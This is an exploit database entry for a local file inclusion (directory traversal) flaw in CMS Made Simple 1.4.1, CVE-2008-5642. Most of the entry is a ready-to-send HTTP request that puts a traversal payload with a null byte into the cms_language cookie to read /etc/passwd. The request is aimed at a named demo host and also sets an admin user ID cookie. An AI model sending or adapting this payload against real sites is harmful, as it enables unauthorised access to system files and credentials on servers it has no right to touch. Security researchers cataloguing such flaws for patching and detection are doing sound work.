CMS Made Simple 1.4.1 - Local File Inclusion

Author: M4ck-h@cK
type: webapps
platform: php
port: 
date_added: 2008-11-28 
date_updated: 2016-12-02 
verified: 1 
codes: OSVDB-50384;CVE-2008-5642 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comcmsmadesimple-1.4.1-full.tar.gz

Type: Directory Traversal vulnerability (Unix tested) / Root privileges escalation
Vendor: CMS Made Simple
Software: CMS Made Simple 1.4.1 "Spring Garden" (and probably others ...)
Author: M4ck-h@cK
Date 29.11.2008
Home: sweet home
contact: no, thx :)

Exploit:


Demo: on h[ttp://demo.cmsmadesimple.fr/admin/]

GET http://demo.cmsmadesimple.fr/admin/login.php HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: demo.cmsmadesimple.fr
Cookie: cms_language=../../../../../../../../etc/passwd%00.html;cms_admin_user_id=1
Connection: Close
Pragma: no-cache

It's possible to set "cms_language" value in order to view /etc/passwd file.

# milw0rm.com [2008-11-29]